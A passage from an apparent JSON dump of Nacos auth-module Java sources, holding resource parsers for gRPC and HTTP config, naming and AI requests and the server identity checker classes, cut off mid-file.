    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\n\nimport java.util.Properties;\n\n/**\n * Abstract Resource parser.\n *\n * @author xiweng.yy\n * @since 2.1.0\n */\npublic abstract class AbstractResourceParser<R> implements ResourceParser<R> {\n    \n    @Override\n    public Resource parse(R request, Secured secured) {\n        String namespaceId = getNamespaceId(request, secured);\n        String group = getGroup(request);\n        String name = getResourceName(request);\n        Properties properties = getProperties(request);\n        String action = secured.action().toString();\n        properties.putIfAbsent(Constants.Resource.ACTION, action);\n        injectTagsToProperties(properties, secured);\n        return new Resource(namespaceId, group, name, secured.signType(), properties);\n    }\n    \n    /**\n     * Get namespaceId from request.\n     *\n     * @param request request\n     * @return namespaceId\n     */\n    protected abstract String getNamespaceId(R request);\n    \n    /**\n     * Get namespaceId from request and secured. No implementation is required by default,this method can be rewrited\n     * with special processing.\n     *\n     * @param request request\n     * @param secured secured\n     * @return namespaceId\n     */\n    protected String getNamespaceId(R request, Secured secured) {\n        return getNamespaceId(request);\n    }\n    \n    /**\n     * Get group name from request.\n     *\n     * @param request request\n     * @return group name\n     */\n    protected abstract String getGroup(R request);\n    \n    /**\n     * Get resource name from request.\n     *\n     * @param request request\n     * @return resource name\n     */\n    protected abstract String getResourceName(R request);\n    \n    /**\n     * Get custom properties from request.\n     *\n     * @param request request\n     * @return custom properties\n     */\n    protected abstract Properties getProperties(R request);\n    \n    /**\n     * Inject tags defined in {@link Secured#tags()} into Resource properties, both key and value.\n     *\n     * @param properties properties in resource\n     * @param secured    secured\n     */\n    protected void injectTagsToProperties(Properties properties, Secured secured) {\n        for (String each : secured.tags()) {\n            properties.put(each, each);\n        }\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/DefaultResourceParser.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\n\n/**\n * Default resource parser.\n *\n * @author nkorange\n * @author mai.jh\n * @since 1.2.0\n */\npublic class DefaultResourceParser implements ResourceParser<Object> {\n    \n    @Override\n    public Resource parse(Object request, Secured secured) {\n        return Resource.EMPTY_RESOURCE;\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/ResourceParser.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\n\n/**\n * Resource parser.\n *\n * @author nkorange\n * @author mai.jh\n * @since 1.2.0\n */\npublic interface ResourceParser<R> {\n    \n    /**\n     * Parse resource from request.\n     *\n     * @param request request\n     * @param secured request secured\n     * @return resource\n     */\n    Resource parse(R request, Secured secured);\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/grpc/AbstractGrpcResourceParser.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.grpc;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.parser.AbstractResourceParser;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\n\nimport java.util.Properties;\n\n/**\n * Abstract Grpc Resource Parser.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractGrpcResourceParser extends AbstractResourceParser<Request> {\n    \n    @Override\n    protected Properties getProperties(Request request) {\n        Properties properties = new Properties();\n        properties.setProperty(Constants.Resource.REQUEST_CLASS, request.getClass().getSimpleName());\n        return properties;\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/grpc/AiGrpcResourceParser.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.grpc;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractAgentRequest;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractMcpRequest;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseAgentCardRequest;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseMcpServerRequest;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * AI Grpc resource parser.\n *\n * @author hongye.nhy xiweng.yy\n */\npublic class AiGrpcResourceParser extends AbstractGrpcResourceParser {\n    \n    @Override\n    protected String getNamespaceId(Request request) {\n        String namespaceId = null;\n        if (request instanceof  AbstractMcpRequest) {\n            namespaceId = ((AbstractMcpRequest) request).getNamespaceId();\n        } else if (request instanceof AbstractAgentRequest) {\n            namespaceId = ((AbstractAgentRequest) request).getNamespaceId();\n        }\n        if (StringUtils.isBlank(namespaceId)) {\n            namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        }\n        return namespaceId;\n    }\n    \n    @Override\n    protected String getGroup(Request request) {\n        return Constants.DEFAULT_GROUP;\n    }\n    \n    @Override\n    protected String getResourceName(Request request) {\n        if (request instanceof AbstractMcpRequest) {\n            return getMcpName((AbstractMcpRequest) request);\n        } else if (request instanceof AbstractAgentRequest) {\n            return getAgentName((AbstractAgentRequest) request);\n        }\n        return StringUtils.EMPTY;\n    }\n    \n    private String getMcpName(AbstractMcpRequest request) {\n        String mcpName = request.getMcpName();\n        if (request instanceof ReleaseMcpServerRequest) {\n            ReleaseMcpServerRequest releaseMcpServerRequest = (ReleaseMcpServerRequest) request;\n            if (null != releaseMcpServerRequest.getServerSpecification()) {\n                mcpName = releaseMcpServerRequest.getServerSpecification().getName();\n            }\n        }\n        return StringUtils.isBlank(mcpName) ? StringUtils.EMPTY : mcpName;\n    }\n    \n    private String getAgentName(AbstractAgentRequest request) {\n        String agentName = request.getAgentName();\n        if (request instanceof ReleaseAgentCardRequest) {\n            ReleaseAgentCardRequest releaseAgentCardRequest = (ReleaseAgentCardRequest) request;\n            if (null != releaseAgentCardRequest.getAgentCard()) {\n                agentName = releaseAgentCardRequest.getAgentCard().getName();\n            }\n        }\n        return StringUtils.isBlank(agentName) ? StringUtils.EMPTY : agentName;\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/grpc/ConfigGrpcResourceParser.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.grpc;\n\nimport com.alibaba.nacos.api.config.remote.request.AbstractConfigRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.common.utils.ReflectUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.List;\n\n/**\n * Config Grpc resource parser.\n *\n * @author xiweng.yy\n */\npublic class ConfigGrpcResourceParser extends AbstractGrpcResourceParser {\n    \n    @Override\n    protected String getNamespaceId(Request request) {\n        String namespaceId = StringUtils.EMPTY;\n        if (request instanceof ConfigBatchListenRequest) {\n            List<ConfigBatchListenRequest.ConfigListenContext> configListenContexts = ((ConfigBatchListenRequest) request)\n                    .getConfigListenContexts();\n            if (!configListenContexts.isEmpty()) {\n                namespaceId = ((ConfigBatchListenRequest) request).getConfigListenContexts().get(0).getTenant();\n            }\n        } else if (request instanceof AbstractConfigRequest) {\n            namespaceId = ((AbstractConfigRequest) request).getTenant();\n        } else {\n            namespaceId = (String) ReflectUtils.getFieldValue(request, \"tenant\", StringUtils.EMPTY);\n        }\n        return StringUtils.isBlank(namespaceId) ? StringUtils.EMPTY : namespaceId;\n    }\n    \n    @Override\n    protected String getGroup(Request request) {\n        String groupName;\n        if (request instanceof AbstractConfigRequest) {\n            groupName = ((AbstractConfigRequest) request).getGroup();\n        } else {\n            groupName = (String) ReflectUtils\n                    .getFieldValue(request, com.alibaba.nacos.api.common.Constants.GROUP, StringUtils.EMPTY);\n        }\n        return StringUtils.isBlank(groupName) ? StringUtils.EMPTY : groupName;\n    }\n    \n    @Override\n    protected String getResourceName(Request request) {\n        String dataId;\n        if (request instanceof AbstractConfigRequest) {\n            dataId = ((AbstractConfigRequest) request).getDataId();\n        } else {\n            dataId = (String) ReflectUtils\n                    .getFieldValue(request, com.alibaba.nacos.api.common.Constants.DATA_ID, StringUtils.EMPTY);\n        }\n        return StringUtils.isBlank(dataId) ? StringUtils.EMPTY : dataId;\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/grpc/NamingGrpcResourceParser.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.grpc;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport com.alibaba.nacos.api.naming.remote.request.AbstractNamingRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.common.utils.ReflectUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Naming Grpc resource parser.\n *\n * @author xiweng.yy\n */\npublic class NamingGrpcResourceParser extends AbstractGrpcResourceParser {\n    \n    @Override\n    protected String getNamespaceId(Request request) {\n        if (request instanceof AbstractNamingRequest) {\n            return ((AbstractNamingRequest) request).getNamespace();\n        }\n        return (String) ReflectUtils.getFieldValue(request, PropertyKeyConst.NAMESPACE, StringUtils.EMPTY);\n    }\n    \n    @Override\n    protected String getGroup(Request request) {\n        String groupName;\n        if (request instanceof AbstractNamingRequest) {\n            groupName = ((AbstractNamingRequest) request).getGroupName();\n        } else {\n            groupName = (String) ReflectUtils.getFieldValue(request, CommonParams.GROUP_NAME, StringUtils.EMPTY);\n        }\n        return StringUtils.isBlank(groupName) ? StringUtils.EMPTY : groupName;\n    }\n    \n    @Override\n    protected String getResourceName(Request request) {\n        String serviceName;\n        if (request instanceof AbstractNamingRequest) {\n            serviceName = ((AbstractNamingRequest) request).getServiceName();\n        } else {\n            serviceName = (String) ReflectUtils.getFieldValue(request, CommonParams.SERVICE_NAME, \"\");\n        }\n        return StringUtils.isBlank(serviceName) ? StringUtils.EMPTY : serviceName;\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/http/AbstractHttpResourceParser.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.http;\n\nimport com.alibaba.nacos.auth.parser.AbstractResourceParser;\n\nimport jakarta.servlet.http.HttpServletRequest;\n\n/**\n * Abstract Http Resource Parser.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractHttpResourceParser extends AbstractResourceParser<HttpServletRequest> {\n\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/http/AiHttpResourceParser.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.http;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport java.util.Properties;\n\n/**\n * Config Http resource parser.\n *\n * @author xiweng.yy\n */\npublic class AiHttpResourceParser extends AbstractHttpResourceParser {\n    \n    public static final String MCP_PATH = \"/ai/mcp\";\n    \n    public static final String A2A_PATH = \"/ai/a2a\";\n    \n    private static final String AGENT_CARD_PARAM = \"agentCard\";\n    \n    @Override\n    protected String getNamespaceId(HttpServletRequest request) {\n        String namespaceId = request.getParameter(Constants.NAMESPACE_ID);\n        if (StringUtils.isBlank(namespaceId)) {\n            namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        }\n        return namespaceId;\n    }\n    \n    @Override\n    protected String getGroup(HttpServletRequest request) {\n        return Constants.DEFAULT_GROUP;\n    }\n    \n    @Override\n    protected String getResourceName(HttpServletRequest request) {\n        String url = request.getRequestURI();\n        if (url.contains(MCP_PATH)) {\n            return getMcpName(request);\n        } else if (url.contains(A2A_PATH)) {\n            return getAgentName(request);\n        }\n        return StringUtils.EMPTY;\n    }\n    \n    private String getMcpName(HttpServletRequest request) {\n        String mcpName = request.getParameter(\"mcpName\");\n        return StringUtils.isBlank(mcpName) ? StringUtils.EMPTY : mcpName;\n    }\n    \n    private String getAgentName(HttpServletRequest request) {\n        String agentName = request.getParameter(\"agentName\");\n        if (request.getParameterMap().containsKey(AGENT_CARD_PARAM)) {\n            agentName = deserializeAndGetAgentName(request.getParameter(AGENT_CARD_PARAM));\n        }\n        return StringUtils.isBlank(agentName) ? StringUtils.EMPTY : agentName;\n    }\n    \n    private String deserializeAndGetAgentName(String agentCardJson) {\n        try {\n            AgentCard agentCard = JacksonUtils.toObj(agentCardJson, AgentCard.class);\n            return agentCard.getName();\n        } catch (Exception ignored) {\n            return StringUtils.EMPTY;\n        }\n    }\n    \n    @Override\n    protected Properties getProperties(HttpServletRequest request) {\n        return new Properties();\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/http/ConfigHttpResourceParser.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.http;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport java.util.Arrays;\nimport java.util.Properties;\n\n/**\n * Config Http resource parser.\n *\n * @author xiweng.yy\n */\npublic class ConfigHttpResourceParser extends AbstractHttpResourceParser {\n    \n    @Override\n    protected String getNamespaceId(HttpServletRequest request) {\n        String namespaceId = request.getParameter(Constants.NAMESPACE_ID);\n        if (StringUtils.isBlank(namespaceId)) {\n            namespaceId = request.getParameter(Constants.TENANT);\n        }\n        return NamespaceUtil.processNamespaceParameter(namespaceId);\n    }\n    \n    @Override\n    protected String getNamespaceId(HttpServletRequest request, Secured secured) {\n        return Arrays.stream(secured.tags()).filter(tag -> tag.startsWith(Constants.NAMESPACE_ID))\n                .map(tag -> tag.split(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.SPLITTER))\n                .filter(splitTags -> splitTags.length >= 2).map(splitTags -> request.getParameter(splitTags[1]))\n                .filter(StringUtils::isNotBlank).findFirst().orElseGet(() -> getNamespaceId(request));\n    }\n    \n    @Override\n    protected String getGroup(HttpServletRequest request) {\n        String groupName = request.getParameter(Constants.GROUP_NAME);\n        if (StringUtils.isBlank(groupName)) {\n            groupName = request.getParameter(com.alibaba.nacos.api.common.Constants.GROUP);\n        }\n        return StringUtils.isBlank(groupName) ? StringUtils.EMPTY : groupName;\n    }\n    \n    @Override\n    protected String getResourceName(HttpServletRequest request) {\n        String dataId = request.getParameter(com.alibaba.nacos.api.common.Constants.DATA_ID);\n        return StringUtils.isBlank(dataId) ? StringUtils.EMPTY : dataId;\n    }\n    \n    @Override\n    protected Properties getProperties(HttpServletRequest request) {\n        return new Properties();\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/parser/http/NamingHttpResourceParser.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.http;\n\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.util.Properties;\n\n/**\n * Naming Http resource parser.\n *\n * @author xiweng.yy\n */\npublic class NamingHttpResourceParser extends AbstractHttpResourceParser {\n    \n    @Override\n    protected String getNamespaceId(HttpServletRequest request) {\n        return NamespaceUtil.processNamespaceParameter(request.getParameter(CommonParams.NAMESPACE_ID));\n        \n    }\n    \n    /**\n     * Group name from http request might be in service name with format ${group}@@${service}. So if group name is blank\n     * or {@code null}, should try to get group name from service.\n     *\n     * @param request http request\n     * @return group\n     */\n    @Override\n    protected String getGroup(HttpServletRequest request) {\n        String groupName = request.getParameter(CommonParams.GROUP_NAME);\n        if (StringUtils.isBlank(groupName)) {\n            String serviceName = request.getParameter(CommonParams.SERVICE_NAME);\n            groupName = NamingUtils.getGroupName(serviceName);\n        }\n        return StringUtils.isBlank(groupName) ? StringUtils.EMPTY : groupName;\n    }\n    \n    @Override\n    protected String getResourceName(HttpServletRequest request) {\n        // See comment in #getGroup\n        String serviceName = NamingUtils.getServiceName(request.getParameter(CommonParams.SERVICE_NAME));\n        return StringUtils.isBlank(serviceName) ? StringUtils.EMPTY : serviceName;\n    }\n    \n    @Override\n    protected Properties getProperties(HttpServletRequest request) {\n        return new Properties();\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/serveridentity/DefaultChecker.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.serveridentity;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\n\n/**\n * Nacos default server identity checker.\n *\n * @author xiweng.yy\n */\npublic class DefaultChecker implements ServerIdentityChecker {\n    \n    private NacosAuthConfig authConfig;\n    \n    @Override\n    public void init(NacosAuthConfig authConfigs) {\n        this.authConfig = authConfigs;\n    }\n    \n    @Override\n    public ServerIdentityResult check(ServerIdentity serverIdentity, Secured secured) {\n        if (authConfig.getServerIdentityValue().equals(serverIdentity.getIdentityValue())) {\n            return ServerIdentityResult.success();\n        }\n        return ServerIdentityResult.noMatched();\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/serveridentity/ServerIdentity.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.serveridentity;\n\n/**\n * Nacos server identity.\n *\n * @author xiweng.yy\n */\npublic class ServerIdentity {\n    \n    private final String identityKey;\n    \n    private final String identityValue;\n    \n    public ServerIdentity(String identityKey, String identityValue) {\n        this.identityKey = identityKey;\n        this.identityValue = identityValue;\n    }\n    \n    public String getIdentityKey() {\n        return identityKey;\n    }\n    \n    public String getIdentityValue() {\n        return identityValue;\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/serveridentity/ServerIdentityChecker.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.serveridentity;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\n\n/**\n * Nacos server identity checker for nacos inner/admin API identity check.\n *\n * @author xiweng.yy\n */\npublic interface ServerIdentityChecker {\n    \n    /**\n     * Do init checker.\n     *\n     * @param authConfig config for nacos auth.\n     */\n    void init(NacosAuthConfig authConfig);\n    \n    /**\n     * Do check nacos server identity.\n     *\n     * @param serverIdentity server identity\n     * @param secured secured api secured annotation\n     * @return result of checking server identity\n     */\n    ServerIdentityResult check(ServerIdentity serverIdentity, Secured secured);\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/serveridentity/ServerIdentityCheckerHolder.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.serveridentity;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.Collection;\n\n/**\n * Server Identity Checker SPI holder.\n *\n * @author xiweng.yy\n */\npublic class ServerIdentityCheckerHolder {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ServerIdentityCheckerHolder.class);\n    \n    private static final ServerIdentityCheckerHolder INSTANCE = new ServerIdentityCheckerHolder();\n    \n    private Class<? extends ServerIdentityChecker> checkerClass;\n    \n    private ServerIdentityCheckerHolder() {\n        tryGetCheckerBySpi();\n    }\n    \n    public static ServerIdentityCheckerHolder getInstance() {\n        return INSTANCE;\n    }\n    \n    /**\n     * Build a new checker.\n     *\n     * @return new checker instance.\n     */\n    public ServerIdentityChecker newChecker() {\n        try {\n            return checkerClass.getDeclaredConstructor(new Class[0]).newInstance();\n        } catch (InstantiationException | IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {\n            return new DefaultChecker();\n        }\n    }\n    \n    private synchronized void tryGetCheckerBySpi() {\n        Collection<ServerIdentityChecker> checkers = NacosServiceLoader.load(ServerIdentityChecker.class);\n        if (checkers.isEmpty()) {\n            checkerClass = DefaultChecker.class;\n            LOGGER.info(\"Not found ServerIdentityChecker implementation from SPI, use default.\");\n            return;\n        }\n        if (checkers.size() > 1) {\n            checkerClass = showAllImplementations(checkers);\n            return;\n        }\n        checkerClass = checkers.iterator().next().getClass();\n        LOGGER.info(\"Found ServerIdentityChecker implementation {}\", checkerClass.getClass().getCanonicalName());\n    }\n    \n    private Class<? extends ServerIdentityChecker> showAllImplementations(Collection<ServerIdentityChecker> checkers) {\n        ServerIdentityChecker result = checkers.iterator().next();\n        for (ServerIdentityChecker each : checkers) {\n            LOGGER.warn(\"Found ServerIdentityChecker implementation {}\", each.getClass().getCanonicalName());\n        }\n        LOGGER.warn(\"Found more than one ServerIdentityChecker implementation from SPI, use the first one {}.\",\n                result.getClass().getCanonicalName());\n        return result.getClass();\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/serveridentity/ServerIdentityResult.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.serveridentity;\n\n/**\n * Nacos server identity check result.\n *\n * @author xiweng.yy\n */\npublic class ServerIdentityResult {\n    \n    private final ResultStatus status;\n    \n    private final String message;\n    \n    private ServerIdentityResult(ResultStatus status, String message) {\n        this.status = status;\n        this.message = message;\n    }\n    \n    public ResultStatus getStatus() {\n        return status;\n    }\n    \n    public String getMessage() {\n        return message;\n    }\n    \n    public static ServerIdentityResult success() {\n        return new ServerIdentityResult(ResultStatus.MATCHED, \"Server identity matched.\");\n    }\n    \n    public static ServerIdentityResult noMatched() {\n        return new ServerIdentityResult(ResultStatus.NOT_MATCHED, \"Server identity not matched.\");\n    }\n    \n    public static 